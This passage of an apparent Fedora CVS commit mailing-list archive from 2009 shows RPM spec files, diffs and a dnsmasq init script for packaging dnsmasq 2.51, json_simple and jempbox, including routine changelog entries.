dnsmasq=/usr/sbin/dnsmasq
[ -f $dnsmasq ] || exit 0

DOMAIN_SUFFIX=`dnsdomainname`
if [ ! -z "${DOMAIN_SUFFIX}" ]; then
  OPTIONS="-s $DOMAIN_SUFFIX"
fi

RETVAL=0

# See how we were called.
case "$1" in
  start)
        echo -n "Starting dnsmasq: "
        daemon $dnsmasq $OPTIONS
	RETVAL=$?
        echo
        [ $RETVAL -eq 0 ] && touch /var/lock/subsys/dnsmasq
        ;;
  stop)
        if test "x`pidof dnsmasq`" != x; then
            echo -n "Shutting down dnsmasq: "
            killproc dnsmasq
        fi
	RETVAL=$?
        echo
        [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/dnsmasq /var/run/dnsmasq.pid
        ;;
  status)
	status dnsmasq
	RETVAL=$?
	;;
  reload)
	echo -n "Reloading dnsmasq: "
	killproc dnsmasq -HUP
	RETVAL=$?
	echo
	;;
  restart)
	$0 stop
	$0 start
	RETVAL=$?
	;;
  condrestart)
	    if test "x`/sbin/pidof dnsmasq`" != x; then
		$0 stop
		$0 start
		RETVAL=$?
	    fi
	    ;;
  *)
        echo "Usage: $0 {start|stop|restart|reload|condrestart|status}"
        exit 1
esac

exit $RETVAL



Index: dnsmasq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dnsmasq/devel/dnsmasq.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- dnsmasq.spec	5 Oct 2009 10:26:35 -0000	1.42
+++ dnsmasq.spec	17 Oct 2009 23:08:16 -0000	1.43
@@ -11,26 +11,25 @@
 
 Name:           dnsmasq
 Version:        2.48
-Release:        4%{?extraversion}%{?dist}
+Release:        5%{?extraversion}%{?dist}
 Summary:        A lightweight DHCP/caching DNS server
 
 Group:          System Environment/Daemons
 License:        GPLv2 or GPLv3
 URL:            http://www.thekelleys.org.uk/dnsmasq/
 Source0:        http://www.thekelleys.org.uk/dnsmasq/%{?extrapath}%{name}-%{version}%{?extraversion}.tar.lzma
-Patch0:         %{name}-2.33-initscript.patch
-Patch1:         %{name}-configuration.patch
+Source1:        %{name}.init
 Patch2:         %{name}-2.48-tftp-server-vulnerabilities.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  dbus-devel
 BuildRequires:  pkgconfig
 
-Requires(post):  /sbin/chkconfig
-Requires(post):  /sbin/service
-Requires(post):  /bin/sed /bin/grep
-Requires(preun): /sbin/chkconfig
-Requires(preun): /sbin/service
+Requires(post):  chkconfig
+Requires(preun): chkconfig
+# This is for /sbin/service
+Requires(preun): initscripts
+Requires(post):  initscripts
 
 %description
 Dnsmasq is lightweight, easy to configure DNS forwarder and DHCP server. 
@@ -45,8 +44,18 @@ machines.
 
 %prep
 %setup -q -n %{name}-%{version}%{?extraversion}
-%patch0 -p1
-%patch1 -p1
+
+# use /var/lib/dnsmasq instead of /var/lib/misc
+for file in dnsmasq.conf.example man/dnsmasq.8 man/es/dnsmasq.8 src/config.h; do
+    sed -i 's|/var/lib/misc/dnsmasq.leases|/var/lib/dnsmasq/dnsmasq.leases|g' "$file"
+done
+
+#enable dbus
+sed -i 's|/* #define HAVE_DBUS */|#define HAVE_DBUS|g' src/config.h
+
+#enable /etc/dnsmasq.d fix bz 526703
+sed -i 's|#conf-dir=/etc/dnsmasq.d|conf-dir=/etc/dnsmasq.d|g' dnsmasq.conf.example
+
 %patch2 -p1
 
 %build
@@ -56,7 +65,7 @@ make %{?_smp_mflags}
 %install
 rm -rf $RPM_BUILD_ROOT
 # normally i'd do 'make install'...it's a bit messy, though
-mkdir -p $RPM_BUILD_ROOT%{_sbindir} $RPM_BUILD_ROOT%{_initrddir} \
+mkdir -p $RPM_BUILD_ROOT%{_sbindir} \
         $RPM_BUILD_ROOT%{_mandir}/man8 \
         $RPM_BUILD_ROOT%{_var}/lib/dnsmasq \
         $RPM_BUILD_ROOT%{_sysconfdir}/dnsmasq.d \
@@ -64,7 +73,7 @@ mkdir -p $RPM_BUILD_ROOT%{_sbindir} $RPM
 install src/dnsmasq $RPM_BUILD_ROOT%{_sbindir}/dnsmasq
 install dnsmasq.conf.example $RPM_BUILD_ROOT%{_sysconfdir}/dnsmasq.conf
 install dbus/dnsmasq.conf $RPM_BUILD_ROOT%{_sysconfdir}/dbus-1/system.d/
-install rpm/dnsmasq.init $RPM_BUILD_ROOT%{_initrddir}/dnsmasq
+install -Dp -m 755 %{SOURCE1} $RPM_BUILD_ROOT%{_initrddir}/dnsmasq
 install -m 644 man/dnsmasq.8 $RPM_BUILD_ROOT%{_mandir}/man8/
 
 %clean
@@ -111,6 +120,12 @@ fi
 
 
 %changelog
+* Sat Oct 17 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 2.48-5
+- move initscript from patch to a plain text file
+- drop (dnsmasq-configuration.patch) and use sed instead
+- enable /etc/dnsmasq.d fix bz 526703
+- change requires to package name instead of file
+
 * Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2.48-4
 - Fix multiple TFTP server vulnerabilities (CVE-2009-2957, CVE-2009-2958)
 


--- dnsmasq-2.33-initscript.patch DELETED ---


--- dnsmasq-configuration.patch DELETED ---



From itamarjp at fedoraproject.org  Sun Oct 18 00:28:41 2009
From: itamarjp at fedoraproject.org (Itamar Reis Peixoto)
Date: Sun, 18 Oct 2009 00:28:41 +0000 (UTC)
Subject: rpms/dnsmasq/devel import.log, NONE, 1.1 .cvsignore, 1.26,
	1.27 dnsmasq.spec, 1.43, 1.44 sources, 1.26,
	1.27 dnsmasq-2.48-tftp-server-vulnerabilities.patch, 1.1, NONE
Message-ID: <20091018002841.80FBB11C00EC@cvs1.fedora.phx.redhat.com>

Author: itamarjp

Update of /cvs/pkgs/rpms/dnsmasq/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13297/devel

Modified Files:
	.cvsignore dnsmasq.spec sources 
Added Files:
	import.log 
Removed Files:
	dnsmasq-2.48-tftp-server-vulnerabilities.patch 
Log Message:
- new version 2.51



--- NEW FILE import.log ---
dnsmasq-2_51-1_fc12:HEAD:dnsmasq-2.51-1.fc12.src.rpm:1255825544


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dnsmasq/devel/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	12 Aug 2009 17:05:49 -0000	1.26
+++ .cvsignore	18 Oct 2009 00:28:38 -0000	1.27
@@ -1 +1 @@
-dnsmasq-2.48.tar.lzma
+dnsmasq-2.51.tar.lzma


Index: dnsmasq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dnsmasq/devel/dnsmasq.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- dnsmasq.spec	17 Oct 2009 23:08:16 -0000	1.43
+++ dnsmasq.spec	18 Oct 2009 00:28:38 -0000	1.44
@@ -10,8 +10,8 @@
 %endif
 
 Name:           dnsmasq
-Version:        2.48
-Release:        5%{?extraversion}%{?dist}
+Version:        2.51
+Release:        1%{?extraversion}%{?dist}
 Summary:        A lightweight DHCP/caching DNS server
 
 Group:          System Environment/Daemons
@@ -19,7 +19,6 @@ License:        GPLv2 or GPLv3
 URL:            http://www.thekelleys.org.uk/dnsmasq/
 Source0:        http://www.thekelleys.org.uk/dnsmasq/%{?extrapath}%{name}-%{version}%{?extraversion}.tar.lzma
 Source1:        %{name}.init
-Patch2:         %{name}-2.48-tftp-server-vulnerabilities.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  dbus-devel
@@ -56,7 +55,6 @@ sed -i 's|/* #define HAVE_DBUS */|#defin
 #enable /etc/dnsmasq.d fix bz 526703
 sed -i 's|#conf-dir=/etc/dnsmasq.d|conf-dir=/etc/dnsmasq.d|g' dnsmasq.conf.example
 
-%patch2 -p1
 
 %build
 make %{?_smp_mflags}
@@ -120,11 +118,12 @@ fi
 
 
 %changelog
-* Sat Oct 17 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 2.48-5
+* Sat Oct 17 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 2.51-1
 - move initscript from patch to a plain text file
 - drop (dnsmasq-configuration.patch) and use sed instead
 - enable /etc/dnsmasq.d fix bz 526703
 - change requires to package name instead of file
+- new version 2.51
 
 * Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2.48-4
 - Fix multiple TFTP server vulnerabilities (CVE-2009-2957, CVE-2009-2958)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dnsmasq/devel/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	12 Aug 2009 17:05:49 -0000	1.26
+++ sources	18 Oct 2009 00:28:38 -0000	1.27
@@ -1 +1 @@
-014eae223140ec283b4301165db0509a  dnsmasq-2.48.tar.lzma
+0f048f3fd1f3888876867809d162cd89  dnsmasq-2.51.tar.lzma


--- dnsmasq-2.48-tftp-server-vulnerabilities.patch DELETED ---



From stevetraylen at fedoraproject.org  Sun Oct 18 01:40:13 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Sun, 18 Oct 2009 01:40:13 +0000 (UTC)
Subject: rpms/json_simple/devel import.log, NONE, 1.1 json_simple.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091018014013.E68C611C02A2@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/json_simple/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10640/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log json_simple.spec 
Log Message:
Import rhbz#521895



--- NEW FILE import.log ---
json_simple-1_1-2_fc11:HEAD:json_simple-1.1-2.fc11.src.rpm:1255829929


--- NEW FILE json_simple.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           json_simple
Version:        1.1
Release:        2%{?dist}
Summary:        Simple Java toolkit for JSON

Group:          System Environment/Libraries
License:        ASL 2.0
URL:            http://code.google.com/p/json-simple/
Source0:        http://json-simple.googlecode.com/files/json_simple-1.1-all.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant

Requires:       jpackage-utils
Requires:       java

%description
JSON.simple is a simple Java toolkit for JSON. You can use JSON.simple 
to encode or decode JSON text. 
  * Full compliance with JSON specification (RFC4627) and reliable 
  * Provides multiple functionalities such as encode, decode/parse 
    and escape JSON text while keeping the library lightweight 
  * Flexible, simple and easy to use by reusing Map and List interfaces 
  * Supports streaming output of JSON text 
  * Stoppable SAX-like interface for streaming input of JSON text 
  * Heap based parser 
  * High performance (see performance testing) 
  * No dependency on external libraries 
  * Both of the source code and the binary are JDK1.2 compatible 

%prep
%setup -q -n json_simple-%{version}-all
find . -name '*.jar' -exec rm -f '{}' \;
# All the files have dos line endings, remove them.
find . -type f -exec %{__sed} -i 's/\r//' {} \;

%build
%ant 
%install
rm -rf $RPM_BUILD_ROOT

mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p  lib/%{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(cd $RPM_BUILD_ROOT%{_javadir} && for jar in *-%{version}*; do ln -sf ${jar} `echo $jar| sed  "s|-%{version}||g"`; done)

%if %{with_gcj}
%{_bindir}/aot-compile-rpm
%endif

%post 
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%{_javadir}/*

%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%doc ChangeLog.txt LICENSE.txt test test.xml AUTHORS.txt README.txt

%changelog
* Thu Oct 15 2009 Steve Traylen <steve.traylen at cern.ch> - 1.1-2
- Add AUTHORS.txt and README.txt files.

* Tue Sep 8 2009 Steve Traylen <steve.traylen at cern.ch> - 1.1-1
- Initial build.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/json_simple/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:42:44 -0000	1.1
+++ .cvsignore	18 Oct 2009 01:40:08 -0000	1.2
@@ -0,0 +1 @@
+json_simple-1.1-all.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/json_simple/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:42:44 -0000	1.1
+++ sources	18 Oct 2009 01:40:08 -0000	1.2
@@ -0,0 +1 @@
+bc5fabbac25d6b541d1b277f853f4a1e  json_simple-1.1-all.zip



From stevetraylen at fedoraproject.org  Sun Oct 18 01:44:42 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Sun, 18 Oct 2009 01:44:42 +0000 (UTC)
Subject: rpms/json_simple/EL-5 json_simple.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091018014442.DF58811C00EC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/json_simple/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11991/EL-5

Modified Files:
	sources 
Added Files:
	json_simple.spec 
Log Message:
Branch Import #521895



--- NEW FILE json_simple.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           json_simple
Version:        1.1
Release:        2%{?dist}
Summary:        Simple Java toolkit for JSON

Group:          System Environment/Libraries
License:        ASL 2.0
URL:            http://code.google.com/p/json-simple/
Source0:        http://json-simple.googlecode.com/files/json_simple-1.1-all.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant

Requires:       jpackage-utils
Requires:       java

%description
JSON.simple is a simple Java toolkit for JSON. You can use JSON.simple 
to encode or decode JSON text. 
  * Full compliance with JSON specification (RFC4627) and reliable 
  * Provides multiple functionalities such as encode, decode/parse 
    and escape JSON text while keeping the library lightweight 
  * Flexible, simple and easy to use by reusing Map and List interfaces 
  * Supports streaming output of JSON text 
  * Stoppable SAX-like interface for streaming input of JSON text 
  * Heap based parser 
  * High performance (see performance testing) 
  * No dependency on external libraries 
  * Both of the source code and the binary are JDK1.2 compatible 

%prep
%setup -q -n json_simple-%{version}-all
find . -name '*.jar' -exec rm -f '{}' \;
# All the files have dos line endings, remove them.
find . -type f -exec %{__sed} -i 's/\r//' {} \;

%build
%ant 
%install
rm -rf $RPM_BUILD_ROOT

mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p  lib/%{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(cd $RPM_BUILD_ROOT%{_javadir} && for jar in *-%{version}*; do ln -sf ${jar} `echo $jar| sed  "s|-%{version}||g"`; done)

%if %{with_gcj}
%{_bindir}/aot-compile-rpm
%endif

%post 
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%{_javadir}/*

%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%doc ChangeLog.txt LICENSE.txt test test.xml AUTHORS.txt README.txt

%changelog
* Thu Oct 15 2009 Steve Traylen <steve.traylen at cern.ch> - 1.1-2
- Add AUTHORS.txt and README.txt files.

* Tue Sep 8 2009 Steve Traylen <steve.traylen at cern.ch> - 1.1-1
- Initial build.



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/json_simple/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:42:44 -0000	1.1
+++ sources	18 Oct 2009 01:44:41 -0000	1.2
@@ -0,0 +1 @@
+bc5fabbac25d6b541d1b277f853f4a1e  json_simple-1.1-all.zip



From stevetraylen at fedoraproject.org  Sun Oct 18 01:44:44 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Sun, 18 Oct 2009 01:44:44 +0000 (UTC)
Subject: rpms/json_simple/F-12 json_simple.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091018014444.9030711C0260@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/json_simple/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11991/F-12

Modified Files:
	sources 
Added Files:
	json_simple.spec 
Log Message:
Branch Import #521895



--- NEW FILE json_simple.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           json_simple
Version:        1.1
Release:        2%{?dist}
Summary:        Simple Java toolkit for JSON

Group:          System Environment/Libraries
License:        ASL 2.0
URL:            http://code.google.com/p/json-simple/
Source0:        http://json-simple.googlecode.com/files/json_simple-1.1-all.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant

Requires:       jpackage-utils
Requires:       java

%description
JSON.simple is a simple Java toolkit for JSON. You can use JSON.simple 
to encode or decode JSON text. 
  * Full compliance with JSON specification (RFC4627) and reliable 
  * Provides multiple functionalities such as encode, decode/parse 
    and escape JSON text while keeping the library lightweight 
  * Flexible, simple and easy to use by reusing Map and List interfaces 
  * Supports streaming output of JSON text 
  * Stoppable SAX-like interface for streaming input of JSON text 
  * Heap based parser 
  * High performance (see performance testing) 
  * No dependency on external libraries 
  * Both of the source code and the binary are JDK1.2 compatible 

%prep
%setup -q -n json_simple-%{version}-all
find . -name '*.jar' -exec rm -f '{}' \;
# All the files have dos line endings, remove them.
find . -type f -exec %{__sed} -i 's/\r//' {} \;

%build
%ant 
%install
rm -rf $RPM_BUILD_ROOT

mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p  lib/%{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(cd $RPM_BUILD_ROOT%{_javadir} && for jar in *-%{version}*; do ln -sf ${jar} `echo $jar| sed  "s|-%{version}||g"`; done)

%if %{with_gcj}
%{_bindir}/aot-compile-rpm
%endif

%post 
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%{_javadir}/*

%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%doc ChangeLog.txt LICENSE.txt test test.xml AUTHORS.txt README.txt

%changelog
* Thu Oct 15 2009 Steve Traylen <steve.traylen at cern.ch> - 1.1-2
- Add AUTHORS.txt and README.txt files.

* Tue Sep 8 2009 Steve Traylen <steve.traylen at cern.ch> - 1.1-1
- Initial build.



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/json_simple/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:42:44 -0000	1.1
+++ sources	18 Oct 2009 01:44:44 -0000	1.2
@@ -0,0 +1 @@
+bc5fabbac25d6b541d1b277f853f4a1e  json_simple-1.1-all.zip



From stevetraylen at fedoraproject.org  Sun Oct 18 01:44:43 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Sun, 18 Oct 2009 01:44:43 +0000 (UTC)
Subject: rpms/json_simple/F-11 json_simple.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091018014443.AE96611C00EC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/json_simple/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11991/F-11

Modified Files:
	sources 
Added Files:
	json_simple.spec 
Log Message:
Branch Import #521895



--- NEW FILE json_simple.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           json_simple
Version:        1.1
Release:        2%{?dist}
Summary:        Simple Java toolkit for JSON

Group:          System Environment/Libraries
License:        ASL 2.0
URL:            http://code.google.com/p/json-simple/
Source0:        http://json-simple.googlecode.com/files/json_simple-1.1-all.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant

Requires:       jpackage-utils
Requires:       java

%description
JSON.simple is a simple Java toolkit for JSON. You can use JSON.simple 
to encode or decode JSON text. 
  * Full compliance with JSON specification (RFC4627) and reliable 
  * Provides multiple functionalities such as encode, decode/parse 
    and escape JSON text while keeping the library lightweight 
  * Flexible, simple and easy to use by reusing Map and List interfaces 
  * Supports streaming output of JSON text 
  * Stoppable SAX-like interface for streaming input of JSON text 
  * Heap based parser 
  * High performance (see performance testing) 
  * No dependency on external libraries 
  * Both of the source code and the binary are JDK1.2 compatible 

%prep
%setup -q -n json_simple-%{version}-all
find . -name '*.jar' -exec rm -f '{}' \;
# All the files have dos line endings, remove them.
find . -type f -exec %{__sed} -i 's/\r//' {} \;

%build
%ant 
%install
rm -rf $RPM_BUILD_ROOT

mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p  lib/%{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(cd $RPM_BUILD_ROOT%{_javadir} && for jar in *-%{version}*; do ln -sf ${jar} `echo $jar| sed  "s|-%{version}||g"`; done)

%if %{with_gcj}
%{_bindir}/aot-compile-rpm
%endif

%post 
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%{_javadir}/*

%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%doc ChangeLog.txt LICENSE.txt test test.xml AUTHORS.txt README.txt

%changelog
* Thu Oct 15 2009 Steve Traylen <steve.traylen at cern.ch> - 1.1-2
- Add AUTHORS.txt and README.txt files.

* Tue Sep 8 2009 Steve Traylen <steve.traylen at cern.ch> - 1.1-1
- Initial build.



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/json_simple/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:42:44 -0000	1.1
+++ sources	18 Oct 2009 01:44:42 -0000	1.2
@@ -0,0 +1 @@
+bc5fabbac25d6b541d1b277f853f4a1e  json_simple-1.1-all.zip



From orion at fedoraproject.org  Sun Oct 18 01:51:32 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Sun, 18 Oct 2009 01:51:32 +0000 (UTC)
Subject: rpms/jempbox/devel import.log, NONE, 1.1 jempbox-0.8.0-local.patch, 
	NONE, 1.1 jempbox.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091018015132.7363C11C00EC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/jempbox/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15377/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log jempbox-0.8.0-local.patch jempbox.spec 
Log Message:
Initial import


--- NEW FILE import.log ---
jempbox-0_8_0-6_fc12:HEAD:jempbox-0.8.0-6.fc12.src.rpm:1255830680

jempbox-0.8.0-local.patch:
 build.xml |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE jempbox-0.8.0-local.patch ---
--- jempbox-0.8.0-incubating/build.xml.local	2009-03-26 18:01:50.000000000 -0600
+++ jempbox-0.8.0-incubating/build.xml	2009-10-05 16:44:37.998478685 -0600
@@ -136,7 +136,7 @@
                debug="on" deprecation="on"/>
     </target>
 
-    <target name="junit" depends="compile,get.junit"
+    <target name="junit" depends="compile"
             description="run junit tests">
         <mkdir dir="${test.classes.dir}"/>
         <javac srcdir="${test.dir}" destdir="${test.classes.dir}"
@@ -153,7 +153,7 @@
         </junit>
     </target>
 
-    <target name="checkstyle" depends="compile,get.checkstyle">
+    <target name="checkstyle" depends="compile">
         <!-- This doesn't work when run from netbeans for some reason -->
         <taskdef name="checkstyle"
                  classname="com.puppycrawl.tools.checkstyle.CheckStyleTask"


--- NEW FILE jempbox.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           jempbox
Version:        0.8.0
Release:        6%{?dist}
Summary:        Java library for working with XMP metadata

Group:          Development/Libraries
License:        ASL 2.0
URL:            http://incubator.apache.org/pdfbox/
Source0:        http://www.apache.org/dist/incubator/pdfbox/%{name}/source/%{name}-%{version}-incubating-src.jar
#Disable downloading of required jars
Patch0:         %{name}-0.8.0-local.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant-junit

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

Requires:       jpackage-utils
Requires:       java

%description
Apache JempBox is an open source Java library for working with XMP metadata.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Development Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils

%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q -n %{name}-%{version}-incubating
%patch0 -p1 -b .local
find -name '*.class' -exec rm -f '{}' \;
find -name '*.jar' -exec rm -f '{}' \;
#Fix line endings
find -name '*.txt' -exec sed -i 's/\r//' '{}' +


%build
ant package javadoc


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p target/%{name}-%{version}-incubating.jar \
  $RPM_BUILD_ROOT%{_javadir}/
ln -s %{name}-%{version}-incubating.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
ln -s %{name}-%{version}-incubating.jar $RPM_BUILD_ROOT%{_javadir}/%{name}.jar

mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}
cp -rp website/build/site/javadoc \
$RPM_BUILD_ROOT%{_javadocdir}/%{name}

%if %{with_gcj}
%{_bindir}/aot-compile-rpm
%endif


%clean
rm -rf $RPM_BUILD_ROOT


%post
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%files
%defattr(-,root,root,-)
%doc LICENSE.txt NOTICE.txt README.txt RELEASE-NOTES.txt
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}-%{version}-incubating.jar
%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}


%changelog
* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-6
- Add javadoc subpackage

* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-5
- Reverse symbolic links

* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-4
- Fix jar naming and add symbolic links

* Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-3
- Add comment for patch
- Fix line endings
- Add GCJ support

* Mon Oct 12 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-2
- Fix BuildRequires

* Mon Oct 5 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/jempbox/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:44:56 -0000	1.1
